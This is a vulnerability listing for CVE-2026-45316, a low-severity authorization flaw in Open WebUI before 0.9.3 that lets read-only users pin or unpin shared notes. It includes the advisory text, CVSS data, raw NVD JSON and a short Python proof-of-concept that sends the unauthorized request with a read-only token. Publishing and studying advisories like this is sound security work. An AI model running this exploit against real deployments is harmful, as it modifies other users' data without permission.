CVE-2026-45316

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3.

CVSS Details

CVSS Score

3.5

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
base_url = "http://localhost:3000"
note_id = "TARGET_NOTE_ID"  # Replace with a valid note ID accessible by the user
auth_token = "READ_ONLY_USER_TOKEN" # Valid session token for a read-only user

# The vulnerable endpoint
endpoint = f"{base_url}/api/v1/notes/{note_id}/pin"

headers = {
    "Authorization": f"Bearer {auth_token}",
    "Content-Type": "application/json"
}

try:
    # Send POST request to toggle pin status
    # Vulnerability: The server checks READ permission but performs a WRITE action
    response = requests.post(endpoint, headers=headers)

    if response.status_code == 200:
        print("[+] Exploit successful! Note pin status toggled.")
        print(f"[+] Response: {response.json()}")
    else:
        print(f"[-] Failed to exploit. Status code: {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45316
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45316
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45316/
[4] VulDB https://vuldb.com/cve/CVE-2026-45316
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45316", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:54.387", "lastModified": "2026-05-15T22:16:54.387", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j", "source": "[email protected]"}]}}